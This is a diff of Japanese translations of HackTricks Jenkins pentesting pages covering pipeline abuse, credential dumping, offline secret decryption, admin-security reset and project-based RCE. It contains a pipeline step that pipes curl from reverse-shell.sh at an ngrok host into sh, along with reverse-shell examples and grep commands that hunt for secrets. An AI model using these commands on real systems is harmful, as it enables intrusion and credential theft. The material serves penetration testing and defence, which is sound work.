exploit pipelines you still need to have access to Jenkins. +pipeline を exploit するには、引き続き Jenkins へのアクセスが必要です。 ### Build Pipelines -**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used: +**Pipelines** はプロジェクトの **build mechanism** としても使えます。その場合、pipeline syntax を含む **repository 内の file** を設定できます。デフォルトでは `/Jenkinsfile` が使われます: -![](<../../images/image (127).png>) +![Jenkins pipeline build configuration using Jenkinsfile mode and script path](<../../images/image (127).png>) -It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access. +また、**pipeline configuration files を別の場所**（たとえば他の repository）に **保存**して、repository の **access** と pipeline の access を **分離**することも可能です。 -If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\ -It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not). +攻撃者がその file への **write access** を持っていれば、それを **modify** でき、Jenkins にアクセスできなくても pipeline を **potentially trigger** できます。\ +攻撃者は **branch protections を回避する** 必要があるかもしれません（platform と user privileges によっては回避できる場合とできない場合があります）。 -The most common triggers to execute a custom pipeline are: +custom pipeline を実行する最も一般的な trigger は以下です: -- **Pull request** to the main branch (or potentially to other branches) -- **Push to the main branch** (or potentially to other branches) -- **Update the main branch** and wait until it's executed somehow +- main branch への **Pull request**（または他の branch への可能性もある） +- main branch への **Push**（または他の branch への可能性もある） +- main branch を **Update** して、何らかの方法で実行されるのを待つ > [!NOTE] -> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**. +> あなたが **external user** であれば、**other user/organization** の repo の **main branch** に **PR** を作成して **pipeline を trigger** できるとは期待しないでください... しかし、**bad configured** なら、これだけで会社を完全に **compromise** できる可能性があります。 ### Pipeline RCE -In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](#rce-creating-modifying-pipeline). +前の RCE セクションですでに、[**pipeline を modify して RCE を得る**](#rce-creating-modifying-pipeline) technique を示しました。 ### Checking Env variables -It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles: +pipeline 全体または特定の stage に対して、**clear text env variables** を宣言できます。これらの env variables は **sensitive info** を含むべきではありませんが、攻撃者は常に pipeline の **すべての configuration/Jenkinsfiles を check** できます: ```bash pipeline { agent {label 'built-in'} @@ -190,21 +190,21 @@ STAGE_ENV_VAR = "Test stage ENV variables." } steps { ``` -### Dumping secrets +### secrets のダンプ -For information about how are secrets usually treated by Jenkins check out the basic information: +Jenkins において secrets が通常どのように扱われるかについては、基本情報を確認してください: {{#ref}} basic-jenkins-information.md {{#endref}} -Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job//configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines. +Credentials は **グローバル provider にスコープ指定** することも（`/credentials/`）、**特定のプロジェクト** に対して指定することもできます（`/job//configure`）。そのため、すべてを exfiltrate するには、secret を含む**少なくともすべてのプロジェクトを compromise** し、カスタム/poisoned pipelines を実行する必要があります。 -There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**: +別の問題として、pipeline の env 内に **secret** を取得するには、**secret の名前と type を知っている必要**があります。たとえば、**`usernamePassword`** **secret** を **`string`** **secret** として **load** しようとすると、次の **error** が表示されます: ``` ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected ``` -ここでは、一般的なシークレットタイプを読み込む方法を示します: +ここでは、いくつかの一般的なシークレットタイプを読み込む方法を示します: ```bash withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) { sh ''' @@ -232,46 +232,46 @@ env ''' } ``` -このページの最後で**すべての認証情報の種類を確認できます**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) +このページの最後で **すべてのcredential type** を見つけることができます: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) > [!WARNING] -> 最も効率的に**一度にすべてのシークレットをダンプする**方法は、**Jenkins**マシンを**侵害する**ことです（例えば**built-in node**でreverse shellを実行するなど）。その後**leaking**された**master keys**と**encrypted secrets**を取得してオフラインで復号します。\ -> 詳細は[Nodes & Agents section](#nodes-and-agents)および[Post Exploitation section](#post-exploitation)を参照してください。 +> **すべての secrets を一度にdumpする** 最善の方法は、**Jenkins** マシンを **compromising** することです（たとえば **built-in node** で reverse shell を実行する）そして **master keys** と **encrypted secrets** を **leaking** して、オフラインで decrypt することです。\ +> これを行う方法の詳細は、[Nodes & Agents section](#nodes-and-agents) と [Post Exploitation section](#post-exploitation) を参照してください。 -### トリガー +### Triggers -From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): `triggers`ディレクティブは、Pipelineが再トリガーされるべき**自動的な方法**を定義します。GitHubやBitBucketなどのソースと統合されたPipelineでは、webhooksベースの統合が既に存在する可能性が高いため、`triggers`は不要な場合があります。現在利用可能なtriggersは`cron`、`pollSCM`、`upstream`です。 +[the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers) より: `triggers` directive は、Pipeline を **自動的に再トリガーする方法** を定義します。GitHub や BitBucket のような source と統合された Pipelines では、webhooks-based integration がすでに存在する可能性が高いため、`triggers` は不要な場合があります。現在利用可能な triggers は `cron`、`pollSCM`、`upstream` です。 Cron example: ```bash triggers { cron('H */4 * * 1-5') } ``` -ドキュメント内の**他の例**も確認してください。 +**ドキュメント内の他の例**も確認してください。 -### ノード & エージェント +### Nodes & Agents -一つの **Jenkins instance** には、異なるマシンで稼働している**異なるエージェント**が存在することがあります。攻撃者の観点からは、異なるマシンへのアクセスは、盗むことのできる**異なるクラウド資格情報**や、他のマシンを悪用して攻撃するために使える**異なるネットワークアクセス**を意味します。 +**Jenkins instance** は、**異なる machine 上で動作する複数の agents** を持つ場合があります。攻撃者の視点では、異なる machine へ access できるということは、**盗める可能性のある別々の cloud credentials** や、他の machine を exploit するために悪用できる**別の network access** を意味します。 -For more information check the basic information: +詳細は基本情報を確認してください: {{#ref}} basic-jenkins-information.md {{#endref}} -`/computer/`で**設定されたノード**を列挙できます。通常、\*\*`Built-In Node` \*\*（Jenkinsが稼働しているノード）を見つけ、さらに他のノードも存在する可能性があります： +`/computer/` で **configured nodes** を列挙できます。通常、**`Built-In Node`**（Jenkins が動作している node）と、場合によっては他の node も見つかります: -![](<../../images/image (249).png>) +![Jenkins node list showing agent1 and Built-In Node executors](<../../images/image (249).png>) -機密性の高いJenkins情報が含まれているため、**Built-In nodeを乗っ取ることは特に興味深いです。** +**Built-In node** を compromise することは、特に重要です。そこには機密性の高い Jenkins 情報が含まれているためです。 -**pipeline**を**built-in Jenkins node**で**run**したいことを示すには、パイプライン内に次の設定を指定します： +**built-in Jenkins node** で **pipeline** を**実行**したいことを示すには、pipeline 内で次の config を指定できます: ```bash pipeline { agent {label 'built-in'} ``` ### 完全な例 -特定の agent 上の pipeline で、cron trigger を使い、pipeline と stage の env variables を設定し、step 内で 2 つの変数を読み込んで reverse shell を送る例： +特定のagent上のPipelineで、cron trigger付き、pipelineとstageのenv variablesを使い、stepで2つのvariablesを読み込み、reverse shellを送る: ```bash pipeline { agent {label 'built-in'} @@ -302,7 +302,7 @@ cleanWs() } } ``` -## Arbitrary File Read から RCE への移行 +## Arbitrary File Read to RCE {{#ref}} jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -330,32 +330,32 @@ msf> post/multi/gather/jenkins_gather ``` ### Jenkins Secrets -十分な権限があれば、`/credentials/` にアクセスして secrets を一覧できます。これは `credentials.xml` ファイル内の secrets のみを一覧することに注意してください。**ビルド構成ファイル (build configuration files)** には **さらに多くの credentials** が含まれている場合もあります。 +十分な権限があれば、`/credentials/` にアクセスして secret を一覧できます。これは `credentials.xml` ファイル内の secret మాత్రమేを一覧するだけですが、**build configuration files** には **more credentials** が含まれている場合もあります。 -もし各プロジェクトの **設定を閲覧できる場合**、そこにリポジトリへアクセスするために使われている **credentials (secrets) の名前** やプロジェクトの **その他の credentials** も確認できます。 +各 project の **configuration** を見られるなら、repository へのアクセスに使われている **credentials (secrets) の名前** や、project の **other credentials** も確認できます。 -![](<../../images/image (180).png>) +![Jenkins credentials selector showing gitea-access-token and Add credential button](<../../images/image (180).png>) -#### Groovy から +#### From Groovy {{#ref}} jenkins-dumping-secrets-from-groovy.md {{#endref}} -#### ディスクから +#### From disk -これらのファイルは **Jenkins secrets を復号する** のに必要です: +これらのファイルは **Jenkins secrets を decrypt** するために必要です: - secrets/master.key - secrets/hudson.util.Secret -そのような **secrets は通常次の場所にあります**: +このような **secrets は通常次の場所で見つかります**: - credentials.xml - jobs/.../build.xml - jobs/.../config.xml -これらを見つけるための正規表現は次の通りです: +これらを見つけるための regex はこちら: ```bash # Find the secrets grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" @@ -367,7 +367,7 @@ credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOm ``` #### Jenkins secrets をオフラインで復号する -もし**シークレットを復号するために必要なパスワード**をダンプしている場合は、[**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **を使ってそれらのシークレットを復号できます**。 +**secrets を復号するために必要な password をダンプ済み**なら、[**この script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **を使って those secrets を復号します**。 ```bash python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml 06165DF2-C047-4402-8CAB-1C8EC526C115 @@ -375,18 +375,18 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT ``` -#### GroovyからJenkinsのsecretsをDecrypt +#### GroovyからJenkins secretsをdecryptする ```bash println(hudson.util.Secret.decrypt("{...}")) ``` -### 新しい管理者ユーザーを作成 +### 新しい admin user を作成する -1. Jenkins の config.xml ファイルにアクセスします（`/var/lib/jenkins/config.xml` または `C:\Program Files (x86)\Jenkis\`） -2. `true` を検索し、単語 \*\*`true` \*\* を **`false`** に変更します。 +1. `/var/lib/jenkins/config.xml` または `C:\Program Files (x86)\Jenkis\` にある Jenkins の config.xml file にアクセスする +2. `true` という word を検索し、**`true`** を **`false`** に変更する。 1. `sed -i -e 's/truefalsetrue` に設定を戻して **セキュリティを有効化** し、**Jenkins を再起動**します。 +3. **Jenkins** server を**restart**する: `service jenkins restart` +4. もう一度 Jenkins portal に移動すると、今回は **Jenkins will not ask any credentials**。そこで "**Manage Jenkins**" に移動し、**administrator password** を再設定する。 +5. 設定を `true` に変更して **security** を再度**enable**し、Jenkins を再び**restart**する。 ## References diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md index 4ce207fc1..6038f604c 100644 --- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md +++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md @@ -1,53 +1,53 @@ -# Jenkinsの基本情報 +# Basic Jenkins Information {{#include ../../banners/hacktricks-training.md}} -## アクセス +## Access -### ユーザー名 + パスワード +### Username + Password -Jenkinsにログインする最も一般的な方法は、ユーザー名とパスワードによる認証です。 +Jenkins にログインする最も一般的な方法は、username か password を使うことです ### Cookie -If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen). +**authorized cookie が盗まれた場合**、そのユーザーの session にアクセスするために使用できます。cookie は通常 `JSESSIONID.*` と呼ばれます。(ユーザーはすべての session を終了できますが、その前に cookie が盗まれたことに気づく必要があります)。 ### SSO/Plugins -Jenkinsはプラグインを使って**サードパーティのSSOでアクセス可能に**設定できます。 +Jenkins は plugins を使って設定でき、**third party SSO 経由でアクセス可能**にできます。 -### トークン +### Tokens -**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API. +**Users can generate tokens** を使って、CLI や REST API 経由で application に自分を impersonate させるアクセスを与えられます。 ### SSH Keys -このコンポーネントはJenkins用の組み込みSSHサーバを提供します。これは[Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/)の代替インターフェースであり、任意のSSHクライアントを使ってこの方法でコマンドを実行できます。（[docs](https://plugins.jenkins.io/sshd/) より） +この component は、Jenkins 用の built-in SSH server を提供します。これは [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/) の代替 interface であり、任意の SSH client を使ってこの方法で commands を実行できます。( [docs](https://plugins.jenkins.io/sshd/) より) -## 認可 +## Authorization -In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options: +`/configureSecurity` では、Jenkins の authorization method を **configure** できます。いくつかの option があります: -- **Anyone can do anything**: 匿名アクセスでもサーバを管理できます -- **Legacy mode**: Jenkins <1.164 と同じ動作です。**"admin" role** を持つ場合はシステムに対する**完全な管理権限**が与えられ、**それ以外のユーザ**（**anonymous** を含む）は**読み取り**権限のみになります。 -- **Logged-in users can do anything**: このモードでは、ログインしているすべてのユーザーに対してJenkinsの**完全な管理権限**が与えられます。唯一完全な管理権限を持たないのは**anonymous user**で、読み取り権限のみ持ちます。 -- **Matrix-based security**: テーブル形式で**誰が何をできるか**を設定できます。各**列**は**permission**を表し、各**行**は**ユーザまたはグループ/ロール**を表します。ここには認証されていないユーザを表す特殊ユーザ '**anonymous**' や、認証済みのすべてのユーザを表す '**authenticated**' も含まれます。 +- **Anyone can do anything**: anonymous access でも server を administrate できます +- **Legacy mode**: Jenkins <1.164 と同じです。**"admin" role** を持っていれば、system に対して **full control** が与えられ、**otherwise** (**anonymous** users を含む) は **read** access を持ちます。 +- **Logged-in users can do anything**: この mode では、すべての **logged-in user が Jenkins の full control** を得ます。**full control を持たない**のは **anonymous user** だけで、**read access** のみを持ちます。 +- **Matrix-based security**: table で **who can do what** を設定できます。各 **column** は 1 つの **permission** を表します。各 **row** は **user or a group/role** を **represents** します。これには特別な user '**anonymous**' が含まれ、これは **unauthenticated users** を表します。また '**authenticated**' は **all authenticated users** を表します。 -![](<../../images/image (149).png>) +![Jenkins matrix-based authorization table with permissions columns for users and groups](<../../images/image (149).png>) -- **Project-based Matrix Authorization Strategy:** これは "**Matrix-based security**" の**拡張**で、各プロジェクトごとに追加のACLマトリクスを**個別に定義**できるようにします。 -- **Role-Based Strategy:** **ロールベースの戦略**を使って認可を定義できるようにします。ロールは `/role-strategy` で管理します。 +- **Project-based Matrix Authorization Strategy:** この mode は "**Matrix-based security**" の **extension** で、プロジェクトごとに追加の ACL matrix を **defined for each project separately.** できるようにします。 +- **Role-Based Strategy:** **role-based strategy** を使った authorization の定義を可能にします。roles は `/role-strategy` で管理します。 ## **Security Realm** -In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms: +`/configureSecurity` では **security realm を configure** できます。デフォルトでは Jenkins はいくつかの異なる Security Realm をサポートしています: -- **Delegate to servlet container**: Jenkinsコントローラを実行しているサーブレットコンテナ（例：[Jetty](https://www.eclipse.org/jetty/)）に認証を委譲します。 -- **Jenkins’ own user database:** 外部システムに委譲する代わりに、Jenkinsの**組み込みユーザデータストア**で認証を行います。これはデフォルトで有効です。 -- **LDAP**: ユーザやグループを含め、構成されたLDAPサーバにすべての認証を委譲します。 -- **Unix user/group database**: Jenkinsコントローラ上の基盤となるUnix OSレベルのユーザデータベースに認証を委譲します。このモードではUnixグループを認可に再利用することも可能です。 +- **Delegate to servlet container**: [Jetty](https://www.eclipse.org/jetty/) のような、Jenkins controller を実行している servlet container に **authentication を delegating** します。 +- **Jenkins’ own user database:** 外部 system に delegating する代わりに、**Jenkins’s own built-in user data store** を authentication に使います。これはデフォルトで有効です。 +- **LDAP**: users と groups の両方を含め、すべての authentication を設定済みの LDAP server に delegating します。 +- **Unix user/group database**: Jenkins controller 上の基盤となる Unix OS-level user database に **authentication を delegates** します。この mode では authorization のために Unix groups を再利用することもできます。 -Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as: +Plugins は、Jenkins を既存の identity systems に組み込むのに役立つ追加の security realms を提供できます。例えば: - [Active Directory](https://plugins.jenkins.io/active-directory) - [GitHub Authentication](https://plugins.jenkins.io/github-oauth) @@ -55,35 +55,35 @@ Plugins can provide additional security realms which may be useful for incorpora ## Jenkins Nodes, Agents & Executors -Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/): +[docs](https://www.jenkins.io/doc/book/managing/nodes/) より: -**Nodes** はビルド **agents が動作するマシン** です。Jenkinsは各接続ノードのディスク空き容量、一時領域の空き、スワップの空き、クロック時間/同期、応答時間を監視します。これらの値が設定閾値を超えた場合、ノードはオフラインになります。 +**Nodes** は build **agents run** が行われる **machines** です。Jenkins は接続された各 node の disk space、free temp space、free swap、clock time/sync、response time を監視します。これらの値のいずれかが設定された threshold を外れると、その node は offline になります。 -**Agents** は **executors を使って** Jenkinsコントローラの代わりに**タスク実行を管理**します。エージェントはJavaをサポートする任意のOSを利用できます。ビルドやテストに必要なツールはエージェントが動作するノード上にインストールされます；直接インストールするか、コンテナ（DockerやKubernetes）内にインストールできます。各**agent はホスト上で独自の PID を持つプロセス**として実行されます。 +**Agents** は **executors** を使って、Jenkins controller の代わりに **task execution** を **manage** します。agent は Java をサポートする任意の operating system を使用できます。build と test に必要な tools は agent が動作する node にインストールされます; それらは **直接インストール** することも、**container の中** (Docker or Kubernetes) に入れることもできます。各 **agent は実質的に host machine 上の自分専用 PID を持つ process** です。 -**executor** は**タスク実行のスロット**であり、実質的には**エージェント内のスレッド**です。ノード上の**executorの数**は、そのノードで同時に実行できる**並列タスク数**を定義します。言い換えれば、同じノードで同時に実行できるPipelineの `stages` の**並列数**を決定します。 +**executor** は **tasks を execution するための slot** です; 実質的には **agent 内の thread** です。node 上の **executors の数** は、その node で同時に実行できる **concurrent tasks** の数を定義します。言い換えると、これはその node 上で同時に実行できる **concurrent Pipeline `stages`** の数を決定します。 ## Jenkins Secrets -### シークレットと認証情報の暗号化 +### Encryption of Secrets and Credentials -Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include: +[docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials) より: Jenkins は **AES を使って secrets、credentials、それぞれの encryption keys を encrypt して保護** します。これらの encryption keys は、保護対象の key を守るために使われる master key とともに `$JENKINS_HOME/secrets/` に保存されます。この directory は、Jenkins controller を実行している operating system user のみが read/write できるように設定すべきです (つまり `chmod` 値 `0700`、または適切な file attributes を使用)。**master key** (cryptojargon では "key encryption key" とも呼ばれます) は、Jenkins controller filesystem 上の **`$JENKINS_HOME/secrets/master.key`** に **unencrypted のまま保存** され、そこへの direct access を持つ attacker からは保護されません。多くの users と developers は、一般的な secret data を encrypt するための [Secret](https://javadoc.jenkins.io/byShortName/Secret) API か credentials API を通じて、これらの encryption keys を間接的に使います。cryptocurious 向けには、Jenkins は AES を cipher block chaining (CBC) mode と PKCS#5 padding、random IVs で使い、[CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) の instances を encrypt します。これらは `$JENKINS_HOME/secrets/` に、`CryptoConfidentialKey` id に対応する filename で保存されます。一般的な key ids には以下があります: -- `hudson.util.Secret`: used for generic secrets; -- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types; -- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and +- `hudson.util.Secret`: generic secrets に使用; +- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: 一部の credentials types に使用; +- `jenkins.model.Jenkins.crumbSalt`: [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery) で使用; そして ### Credentials Access -Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job//configure`) and therefore only accessible from the specific project. +Credentials は、任意の configured project から access できる **global providers** (`/credentials/`) に **scoped** することも、**specific projects** (`/job//configure`) に **scoped** することもでき、その場合は特定の project からのみ access 可能です。 -According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials. +[**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/) によると: scope 内の Credentials は pipeline から制限なく利用可能になります。**build log での accidental exposure を防ぐため**、credentials は通常の output から **masked** されるため、`env` (Linux) や `set` (Windows) の実行、あるいは環境変数や parameters を表示する programs があっても、build log 上でそれらが **credentials に access 権のない users に漏れない** ようになります。 -**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.** +**そのため、attacker が credentials を exfiltrate するには、例えば base64 化する必要があります。** -### プラグイン/ジョブ設定ファイル上のシークレット +### Secrets in plugin/job configs on disk -Do not assume secrets are only in `credentials.xml`. Many plugins persist secrets in their **own global XML** under `$JENKINS_HOME/*.xml` or in per-job `$JENKINS_HOME/jobs//config.xml`, sometimes even in plaintext (UI masking does not guarantee encrypted storage). If you gain filesystem read access, enumerate those XMLs and search for obvious secret tags. +secrets が `credentials.xml` にだけあると決めつけないでください。多くの plugins は、`$JENKINS_HOME/*.xml` 以下の **own global XML** や、job ごとの `$JENKINS_HOME/jobs//config.xml` に secrets を保存します。場合によっては plaintext のこともあります (UI masking は encrypted storage を保証しません)。filesystem read access を得たら、それらの XML を列挙し、明らかな secret tag を検索してください。 ```bash # Global plugin configs ls -l /var/lib/jenkins/*.xml @@ -92,7 +92,7 @@ grep -R "password\\|token\\|SecretKey\\|credentialId" /var/lib/jenkins/*.xml # Per-job configs find /var/lib/jenkins/jobs -maxdepth 2 -name config.xml -print -exec grep -H "password\\|token\\|SecretKey" {} \\; ``` -## 参考文献 +## References - [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/) - [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/) diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md index d07f45fa8..bea27ebb0 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md @@ -1,16 +1,16 @@ -# Jenkins RCE パイプラインの作成/修正 +# Jenkins RCE Creating/Modifying Pipeline {{#include ../../banners/hacktricks-training.md}} -## 新しいパイプラインの作成 +## 新しい Pipeline の作成 -「New Item」（`/view/all/newJob`でアクセス可能）で**Pipeline**を選択します: +"New Item"（`/view/all/newJob` からアクセス可能）で **Pipeline:** を選択します。 -![](<../../images/image (235).png>) +![Jenkins New Item page with Pipeline selected as the project type](<../../images/image (235).png>) -**Pipelineセクション**に**リバースシェル**を書きます: +**Pipeline section** に **reverse shell** を記述します。 -![](<../../images/image (285).png>) +![Jenkins Pipeline script editor containing a Groovy reverse shell payload](<../../images/image (285).png>) ```groovy pipeline { agent any @@ -26,12 +26,12 @@ curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh } } ``` -最後に**保存**をクリックし、**今すぐビルド**をクリックすると、パイプラインが実行されます： +最後に **Save** と **Build Now** をクリックすると、pipeline が実行されます: -![](<../../images/image (228).png>) +![Jenkins build console showing a reverse shell connection and whoami output](<../../images/image (228).png>) -## パイプラインの修正 +## Pipeline の変更 -構成ファイルにアクセスできる場合は、単に**リバースシェルを追加して修正**し、それを実行するか、実行されるのを待つことができます。 +設定済みのある pipeline の configuration file にアクセスできるなら、**modify it appending your reverse shell** するだけでよく、その後それを実行するか、実行されるまで待てばよいです。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md index 1f6ffe845..4478edde4 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md @@ -1,36 +1,36 @@ -# Jenkins RCE プロジェクトの作成/変更 +# Jenkins RCE Creating/Modifying Project {{#include ../../banners/hacktricks-training.md}} -## プロジェクトの作成 +## Creating a Project -この方法は非常に騒がしいです。なぜなら、まったく新しいプロジェクトを作成する必要があるからです（明らかに、ユーザーが新しいプロジェクトを作成することを許可されている場合にのみ機能します）。 +この方法はかなり目立ちます。なぜなら、まったく新しい project を作成する必要があるからです（当然、これは user が新しい project を作成する権限を持っている場合にのみ機能します）。 -1. **新しいプロジェクトを作成**（フリースタイルプロジェクト）するには、「新しいアイテム」をクリックするか、`/view/all/newJob`に移動します。 -2. **ビルド**セクション内で**シェルを実行**を設定し、PowerShell EmpireランチャーまたはMeterpreter PowerShellを貼り付けます（_unicorn_を使用して取得できます）。ペイロードを_PowerShell.exe_で開始し、_powershell_を使用しないでください。 -3. **今すぐビルド**をクリックします。 -1. **今すぐビルド**ボタンが表示されない場合でも、**設定** --> **ビルドトリガー** --> `定期的にビルド`に移動し、`* * * * *`のcronを設定できます。 -2. cronを使用する代わりに、**リモートでビルドをトリガー**する設定を使用できます。この場合、ジョブをトリガーするためにAPIトークン名を設定するだけです。次に、ユーザープロファイルに移動し、**APIトークンを生成**します（このAPIトークンをジョブをトリガーするために呼んだAPIトークンと同じ名前にします）。最後に、次のコマンドでジョブをトリガーします：**`curl :@/job//build?token=`** +1. **Create a new project** (Freestyle project) で "New Item" をクリックするか、`/view/all/newJob` へアクセスする +2. **Build** セクション内で **Execute shell** を設定し、powershell Empire launcher か meterpreter powershell を貼り付ける（_unicorn_ を使って取得できる）。ペイロードは _powershell._ ではなく _PowerShell.exe_ で起動する +3. **Build now** をクリックする +1. **Build now** ボタンが表示されない場合でも、**configure** --> **Build Triggers** --> `Build periodically` に進み、cron を `* * * * *` に設定できる +2. cron の代わりに、"Trigger builds remotely" の config を使うこともできる。この場合、job をトリガーするために api token 名を設定するだけでよい。その後、user profile に移動して **generate an API token** する（この API token は、job をトリガーする際に設定した api token と同じ名前にする）。最後に、次のようにして job をトリガーする: **`curl :@/job//build?token=`** -![](<../../images/image (165).png>) +![Jenkins New Item page for creating a Freestyle project](<../../images/image (165).png>) -## プロジェクトの変更 +## Modifying a Project -プロジェクトに移動し、**構成できるかどうか**を確認します（「構成ボタン」を探してください）： +projects に移動して、**configure できるものがあるか**確認する（"Configure button" を探す）: -![](<../../images/image (265).png>) +![Jenkins project side menu with the Configure action visible](<../../images/image (265).png>) -**構成** **ボタン**が見えない場合、恐らく**構成**できません（ただし、すべてのプロジェクトを確認してください。いくつかのプロジェクトは構成できるかもしれません）。 +もし **configuration** の **button** が **見当たらない**なら、たぶんその project は **configure** できない（ただし、いくつかの project は configure できて他はできない可能性があるので、すべての project を確認すること）。 -または、各プロジェクトで**パスにアクセスを試みて**ください`/job//configure`または`/me/my-views/view/all/job//configure`（例：`/job/Project0/configure`または`/me/my-views/view/all/job/Project0/configure`）。 +または、各 project で path `/job//configure` あるいは `/me/my-views/view/all/job//configure` への **アクセスを試す**（例: `/job/Project0/configure` や `/me/my-views/view/all/job/Project0/configure`）。 -## 実行 +## Execution -プロジェクトを構成することが許可されている場合、**ビルドが成功したときにコマンドを実行させることができます**： +project を configure できるなら、**build が成功したときにコマンドを実行**させることができる: -![](<../../images/image (98).png>) +![Jenkins build step text area containing a reverse shell command](<../../images/image (98).png>) -**保存**をクリックし、プロジェクトを**ビルド**すると、あなたの**コマンドが実行されます**。\ -リバースシェルを実行していない場合は、単純なコマンドを実行している場合、**ビルドの出力内でコマンドの出力を見ることができます**。 +**Save** をクリックして project を **build** すると、**command が実行される**。\ +reverse shell ではなく単純な command を実行する場合は、**build の output 内で command の出力を確認できる**。 {{#include ../../banners/hacktricks-training.md}} diff --git 